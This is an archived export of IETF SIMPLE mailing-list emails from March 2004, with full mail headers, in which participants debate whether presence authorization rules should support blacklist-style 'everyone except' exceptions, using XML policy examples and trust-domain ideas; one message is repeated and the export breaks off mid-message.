List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 23:20:51 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

Jonathan Rosenberg wrote:
>=20
> I also think that the external list is, as the name implies,=20
> a reference=20
> to a list of URI that resides elsewhere.=20

This is what I was meaning, sorry that I didn't explain it clearly. And =
in practice I don't think there is (at least initially) any need to =
support references to lists "anywhere in the Internet", just within a =
single administrative domain (for instance under the common XCAP root). =
In that case keeping in synch is more realistic. I don't see any need to =
normatively limit it like that, though.

> It is not a reference to an=20
> external ruleset, as I think Henning has suggested. In one=20
> iteration of=20
> the xcap authorization rules, the URI was an xcap resource=20
> that resolved=20
> to a list of URI in the resource-lists application usage.
>=20
> Does anyone see problems with this?
>

I don't think there would be any problem if the use is limited to =
privacy-safe scenarios, as Jonathan suggested. On the other hand, we =
would gain the possibility of managing a single resource list and using =
it for more than one application.
=20
> I would therefore suggest that we pursue extternal lists as a=20
> separate=20
> document, which can follow shortly after the baseline specification.
>=20

That's OK, if you think that adding this directly to the baseline spec =
would be too much at this point.

> -Jonathan R.
>=20
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20

Markus

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 24 17:19:37 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA25212
	for <simple-archive@ietf.org>; Wed, 24 Mar 2004 17:19:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Gio-0006eq-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 17:19:38 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6Ggg-0006FT-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 17:17:28 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6GfL-000644-00; Wed, 24 Mar 2004 17:16:03 -0500
Received: from optimus22.ietf.org ([132.151.6.22] helo=optimus.ietf.org)
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B6GYa-0000yp-VH; Wed, 24 Mar 2004 17:09:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6GYW-0004Fh-Vf; Wed, 24 Mar 2004 17:09:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6GYG-0004FE-Qi
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 17:08:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA24785
	for <simple@ietf.org>; Wed, 24 Mar 2004 17:08:41 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6GYE-0005jA-00
	for simple@ietf.org; Wed, 24 Mar 2004 17:08:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6GXF-0005fa-00
	for simple@ietf.org; Wed, 24 Mar 2004 17:07:43 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6GWj-0005bn-00
	for simple@ietf.org; Wed, 24 Mar 2004 17:07:09 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2OM5j423928;
	Thu, 25 Mar 2004 00:05:45 +0200 (EET)
X-Scanned: Thu, 25 Mar 2004 00:05:27 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i2OM5Rsj018228;
	Thu, 25 Mar 2004 00:05:27 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 008QGyOD; Thu, 25 Mar 2004 00:05:26 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2OM5Ks04943;
	Thu, 25 Mar 2004 00:05:20 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 25 Mar 2004 00:05:20 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: supporitng blacklists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A3BC@esebe018.ntc.nokia.com>
Thread-Topic: supporitng blacklists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Thread-Index: AcQRdzJwPou7HZeqSB+1BvehO52HuAAbsV0A
To: <jdrosen@dynamicsoft.com>, <hgs@cs.columbia.edu>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 24 Mar 2004 22:05:20.0455 (UTC) FILETIME=[191DBD70:01C411EC]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 00:05:20 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

See inline:

> -----Original Message-----
> From: ext Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: 24 March, 2004 10:00
> To: Henning Schulzrinne
> Cc: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> Subject: supporitng blacklists, was: Re: [Simple] Comments on: First
> draft of text on semantic-based authorization policies [exceptions]
>=20
>=20
>=20
> There are a bunch of separable points in these various mails, so I'm
> separating responses and changing the subject.
>=20
> Henning Schulzrinne wrote:
>=20
> >=20
> >>=20
> >> So it is to my understanding impossible for instance to provide=20
> >> presence to everyone except an enumerated list of identities. This
> >> is usually what black-listing means.
> >=20
> >=20
> > I'm finding it hard to believe that 'everyone in the world except A,
> > B and C' is a useful service concept. My concern is that this
> > promises privacy to users that may not understand the implications
> > (and the uselessness of this). Can you imagine a system that allows
> > any random user to obtain presence information?
>=20
> I agree with Henning. What I really think you want, Markus, is to say
> that, "for users within domains where I know that its hard to get new
> identities easily, allow anyone except Joe and Bob". I believe thats
> what you had in mind when you said:
>=20
> > While in general this is the case, I don't think it should limit
> > _all_ systems, some of which can deal with identities=20
> better than the
> > Internet at large. Below is an example, beyond block-listing, how
> > leaving out exceptions makes things difficult
>=20
> With my definition above, the existing domain-based exceptions work=20
> fine. For example, if AOL wants to do black lists, they would do:
>=20
> <rule>
> <conditions>
> <identity>
>       <domain>aol.com</domain>
>       <except>joe</except>
>       <except>bob</except>
>     </identity>
> </conditions>
>=20
> <actions>
>    <accept-subscription/>
> </actions>
> </rule>
>=20
> That is, you can use the existing mechanism to enumerate the=20
> domains in=20
> the trusted set which have this property. Today, we only really see=20
> single provider networks, where you can only subscribe to=20
> someone in the=20
> same domain. That is supported fine by the current mechanism.=20
> Of course,=20
> the standard caveats apply - you really need to understand=20
> the way the=20
> domain hands out identities before you set such a policy.
>=20
> When we eventually run into networks where there are so many service=20
> providers amongst this "trusted set" that it becomes difficult to=20
> enumerate them, we might have a problem, but I think we can=20
> cross that=20
> bridge later.
>=20

You may be right on how SIP deployment life-cycle goes, but I think we =
should look ahead one step even with the initial set of specifications. =
After all, I wouldn't want to say that SIMPLE is currently aiming only =
for a single-domain deployability.

3GPP IMS (and the operators committed to it) is a good example of an =
attempt to create a trusted SIP network which spans accross several =
service providers and thus obviously several DNS domains. I assume too =
that initially it will start as single-operator islands, but soon enough =
those islands will be connected. At that step there probably wouldn't be =
interworking with the "whole Internet", just among the operators who are =
collaborating.=20

Within this trust domain P-Asserted-Id would be used (based on =
HTTP-digest or HTTP-digest-AKA authentication and use of TLS or IPSec), =
so the users would be able to trust the identities of their peers. Also, =
the creation of new user identities would be controlled by each =
provider.

In this kind of environment black-listing still makes some sense, at =
least more sense than doing similar type of stuff in PSTN, which also =
happens and is considered useful. The current specs allow exceptions, =
but only per domain, so there is a problem here. I hope people at least =
understand my point, even if they may disagree with it. (3GPP is =
probably not the only body trying to setup something like this.)

One idea that occured to me is this: what if each operator within such =
trust domain keeps track on all the DNS domains that belong to this =
trust domain, i.e. from which domains do they accept getting requests =
with P-Asserted-Id. We would then allow making subtractions (exceptions) =
from that set in a similar way as it is currently allowed from a single =
domain. It could be something like this:
- Operator keeps up-to-date list of trusted DNS domains as a well-known =
resource in the global XCAP tree.=20
- Users' terminals are able to fetch that list from there.
- The user would then be able to set the identity part in rules like
<identity>
      <trust-domain/>
      <except>joe@foo.com</except>
      <except>bob@bar.net</except>
</identity>
assuming that both foo.com and bar.net are part of the <trust-domain>.

The main problem obviously is the maintenance of the list of trusted =
domains. If the trust is transitive even the operator may not be aware =
of it all.

Do you think this gets too complicated? It's the best I can think of if =
people are in general against having this
<identity>
      <any/>
      <except>joe@foo.com</except>
      <except>bob@bar.net</except>
</identity>

>=20
> >=20
> > I think the concept of 'everybody gets to ask for permission before=20
> > subscribing except bad guys A, B and C who I've already told to get=20
> > lost' is useful and might implementable by an appropriate=20
> ordering of
> >  actions. For example, if you order actions as
> >=20
> > known_reject (highest), permit, ask, dont_bother (lowest, default)
> >=20
> > the right thing happens. However, caveats about file merging apply.
>=20
> Henning - I dont understand how this is privacy safe. In your=20
> ordering,=20
> there is not a strictly increasing amount of information=20
> revealed as the=20
> values increase.
>=20
> -Jonathan R.
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20

Markus

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 24 17:20:09 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA25380
	for <simple-archive@odin.ietf.org>; Wed, 24 Mar 2004 17:20:09 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6Gir-0005Hl-QE
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 17:19:42 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2OMJfh3020311
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 17:19:41 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6Gir-0005HT-Kj
	for simple-web-archive@optimus.ietf.org; Wed, 24 Mar 2004 17:19:41 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA25231
	for <simple-web-archive@ietf.org>; Wed, 24 Mar 2004 17:19:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Gio-0006ez-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 17:19:38 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6Ggi-0006Fj-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 17:17:30 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6GfL-000644-00; Wed, 24 Mar 2004 17:16:03 -0500
Received: from optimus22.ietf.org ([132.151.6.22] helo=optimus.ietf.org)
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B6GYa-0000yp-VH; Wed, 24 Mar 2004 17:09:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6GYW-0004Fh-Vf; Wed, 24 Mar 2004 17:09:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6GYG-0004FE-Qi
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 17:08:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA24785
	for <simple@ietf.org>; Wed, 24 Mar 2004 17:08:41 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6GYE-0005jA-00
	for simple@ietf.org; Wed, 24 Mar 2004 17:08:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6GXF-0005fa-00
	for simple@ietf.org; Wed, 24 Mar 2004 17:07:43 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6GWj-0005bn-00
	for simple@ietf.org; Wed, 24 Mar 2004 17:07:09 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2OM5j423928;
	Thu, 25 Mar 2004 00:05:45 +0200 (EET)
X-Scanned: Thu, 25 Mar 2004 00:05:27 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i2OM5Rsj018228;
	Thu, 25 Mar 2004 00:05:27 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 008QGyOD; Thu, 25 Mar 2004 00:05:26 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2OM5Ks04943;
	Thu, 25 Mar 2004 00:05:20 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 25 Mar 2004 00:05:20 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: supporitng blacklists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A3BC@esebe018.ntc.nokia.com>
Thread-Topic: supporitng blacklists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Thread-Index: AcQRdzJwPou7HZeqSB+1BvehO52HuAAbsV0A
To: <jdrosen@dynamicsoft.com>, <hgs@cs.columbia.edu>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 24 Mar 2004 22:05:20.0455 (UTC) FILETIME=[191DBD70:01C411EC]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 00:05:20 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

See inline:

> -----Original Message-----
> From: ext Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: 24 March, 2004 10:00
> To: Henning Schulzrinne
> Cc: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> Subject: supporitng blacklists, was: Re: [Simple] Comments on: First
> draft of text on semantic-based authorization policies [exceptions]
>=20
>=20
>=20
> There are a bunch of separable points in these various mails, so I'm
> separating responses and changing the subject.
>=20
> Henning Schulzrinne wrote:
>=20
> >=20
> >>=20
> >> So it is to my understanding impossible for instance to provide=20
> >> presence to everyone except an enumerated list of identities. This
> >> is usually what black-listing means.
> >=20
> >=20
> > I'm finding it hard to believe that 'everyone in the world except A,
> > B and C' is a useful service concept. My concern is that this
> > promises privacy to users that may not understand the implications
> > (and the uselessness of this). Can you imagine a system that allows
> > any random user to obtain presence information?
>=20
> I agree with Henning. What I really think you want, Markus, is to say
> that, "for users within domains where I know that its hard to get new
> identities easily, allow anyone except Joe and Bob". I believe thats
> what you had in mind when you said:
>=20
> > While in general this is the case, I don't think it should limit
> > _all_ systems, some of which can deal with identities=20
> better than the
> > Internet at large. Below is an example, beyond block-listing, how
> > leaving out exceptions makes things difficult
>=20
> With my definition above, the existing domain-based exceptions work=20
> fine. For example, if AOL wants to do black lists, they would do:
>=20
> <rule>
> <conditions>
> <identity>
>       <domain>aol.com</domain>
>       <except>joe</except>
>       <except>bob</except>
>     </identity>
> </conditions>
>=20
> <actions>
>    <accept-subscription/>
> </actions>
> </rule>
>=20
> That is, you can use the existing mechanism to enumerate the=20
> domains in=20
> the trusted set which have this property. Today, we only really see=20
> single provider networks, where you can only subscribe to=20
> someone in the=20
> same domain. That is supported fine by the current mechanism.=20
> Of course,=20
> the standard caveats apply - you really need to understand=20
> the way the=20
> domain hands out identities before you set such a policy.
>=20
> When we eventually run into networks where there are so many service=20
> providers amongst this "trusted set" that it becomes difficult to=20
> enumerate them, we might have a problem, but I think we can=20
> cross that=20
> bridge later.
>=20

You may be right on how SIP deployment life-cycle goes, but I think we =
should look ahead one step even with the initial set of specifications. =
After all, I wouldn't want to say that SIMPLE is currently aiming only =
for a single-domain deployability.

3GPP IMS (and the operators committed to it) is a good example of an =
attempt to create a trusted SIP network which spans accross several =
service providers and thus obviously several DNS domains. I assume too =
that initially it will start as single-operator islands, but soon enough =
those islands will be connected. At that step there probably wouldn't be =
interworking with the "whole Internet", just among the operators who are =
collaborating.=20

Within this trust domain P-Asserted-Id would be used (based on =
HTTP-digest or HTTP-digest-AKA authentication and use of TLS or IPSec), =
so the users would be able to trust the identities of their peers. Also, =
the creation of new user identities would be controlled by each =
provider.

In this kind of environment black-listing still makes some sense, at =
least more sense than doing similar type of stuff in PSTN, which also =
happens and is considered useful. The current specs allow exceptions, =
but only per domain, so there is a problem here. I hope people at least =
understand my point, even if they may disagree with it. (3GPP is =
probably not the only body trying to setup something like this.)

One idea that occured to me is this: what if each operator within such =
trust domain keeps track on all the DNS domains that belong to this =
trust domain, i.e. from which domains do they accept getting requests =
with P-Asserted-Id. We would then allow making subtractions (exceptions) =
from that set in a similar way as it is currently allowed from a single =
domain. It could be something like this:
- Operator keeps up-to-date list of trusted DNS domains as a well-known =
resource in the global XCAP tree.=20
- Users' terminals are able to fetch that list from there.
- The user would then be able to set the identity part in rules like
<identity>
      <trust-domain/>
      <except>joe@foo.com</except>
      <except>bob@bar.net</except>
</identity>
assuming that both foo.com and bar.net are part of the <trust-domain>.

The main problem obviously is the maintenance of the list of trusted =
domains. If the trust is transitive even the operator may not be aware =
of it all.

Do you think this gets too complicated? It's the best I can think of if =
people are in general against having this
<identity>
      <any/>
      <except>joe@foo.com</except>
      <except>bob@bar.net</except>
</identity>

>=20
> >=20
> > I think the concept of 'everybody gets to ask for permission before=20
> > subscribing except bad guys A, B and C who I've already told to get=20
> > lost' is useful and might implementable by an appropriate=20
> ordering of
> >  actions. For example, if you order actions as
> >=20
> > known_reject (highest), permit, ask, dont_bother (lowest, default)
> >=20
> > the right thing happens. However, caveats about file merging apply.
>=20
> Henning - I dont understand how this is privacy safe. In your=20
> ordering,=20
> there is not a strictly increasing amount of information=20
> revealed as the=20
> values increase.
>=20
> -Jonathan R.
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20

Markus

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 24 18:29:41 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA29396
	for <simple-archive@ietf.org>; Wed, 24 Mar 2004 18:29:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Hoc-0003O0-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 18:29:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6Hnb-0003KK-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 18:28:40 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Hn0-0003Gl-00; Wed, 24 Mar 2004 18:28:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6Hmz-00019m-RQ; Wed, 24 Mar 2004 18:28:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6HmS-000187-3n
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 18:27:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA29316
	for <simple@ietf.org>; Wed, 24 Mar 2004 18:27:23 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6HmP-0003DR-00
	for simple@ietf.org; Wed, 24 Mar 2004 18:27:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6HlS-00039G-00
	for simple@ietf.org; Wed, 24 Mar 2004 18:26:26 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Hka-00034n-00
	for simple@ietf.org; Wed, 24 Mar 2004 18:25:32 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2ONOV407189;
	Thu, 25 Mar 2004 01:24:31 +0200 (EET)
X-Scanned: Thu, 25 Mar 2004 01:25:57 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i2ONPvwm005744;
	Thu, 25 Mar 2004 01:25:57 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00oranNA; Thu, 25 Mar 2004 01:25:56 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2ONOCs20530;
	Thu, 25 Mar 2004 01:24:12 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 25 Mar 2004 00:24:17 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: supporitng blacklists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A3BD@esebe018.ntc.nokia.com>
Thread-Topic: supporitng blacklists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Thread-Index: AcQRqi6IXtpkI3ybSYutm963iJfD0wAQjpjQ
To: <hgs@cs.columbia.edu>, <jdrosen@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 24 Mar 2004 22:24:17.0479 (UTC) FILETIME=[BED5D570:01C411EE]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 00:24:19 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

Inline:

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Henning Schulzrinne
> Sent: 24 March, 2004 16:09
> To: Jonathan Rosenberg
> Cc: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> Subject: Re: supporitng blacklists, was: Re: [Simple]=20
> Comments on: First
> draft of text on semantic-based authorization policies [exceptions]
>=20
>=20
>=20
>=20
> >> I think the concept of 'everybody gets to ask for=20
> permission before=20
> >> subscribing except bad guys A, B and C who I've already=20
> told to get=20
> >> lost' is useful and might implementable by an appropriate=20
> ordering of
> >>  actions. For example, if you order actions as
> >>
> >> known_reject (highest), permit, ask, dont_bother (lowest, default)
> >>
> >> the right thing happens. However, caveats about file merging apply.
> >=20

And I guess that one of the design goals was that if you have a rule =
that permits something, there can't be a rule which takes it away =
('known_reject' clearly gives out less than 'permit'), as if the rules =
come from different places and some of them are somehow not "executed", =
more information is revealed that what was the intention.=20

> >=20
> > Henning - I dont understand how this is privacy safe. In=20
> your ordering,=20
> > there is not a strictly increasing amount of information=20
> revealed as the=20
> > values increase.
>=20
> The idea is 'known reject' trumps all other values. Thus, if your=20
> identity matches such a rule, it gets bounced even if a more=20
> encompassing rule allows to request permission.
>=20

Still I guess this would be against the spirit of privacy safety?

> This is unnecessary if we agree that global blacklists are a bad idea=20
> even for the subscription (as opposed to information=20
> delivery) phase. My=20
> notion is only needed if you want to support the notion:
>=20
> "Everybody in the world, in any domain, gets to *ask* to=20
> subscribe to my=20
> presence, but Alice, Bob and Carol have already been told to=20
> take a hike=20
> and thus shouldn't even be able to ask."
>=20
> Is this the type of rule we want to be to support?
>=20

This is exactly what I'm trying to get supported (even if I made =
negative comments about the proposal above...)! Can someone explain what =
would the problem with

<identity>
      <any/>
      <except>joe@foo.com</except>
      <except>bob@bar.net</except>
</identity>=20

I see this so that the <identity> element defines a set with an "atomic" =
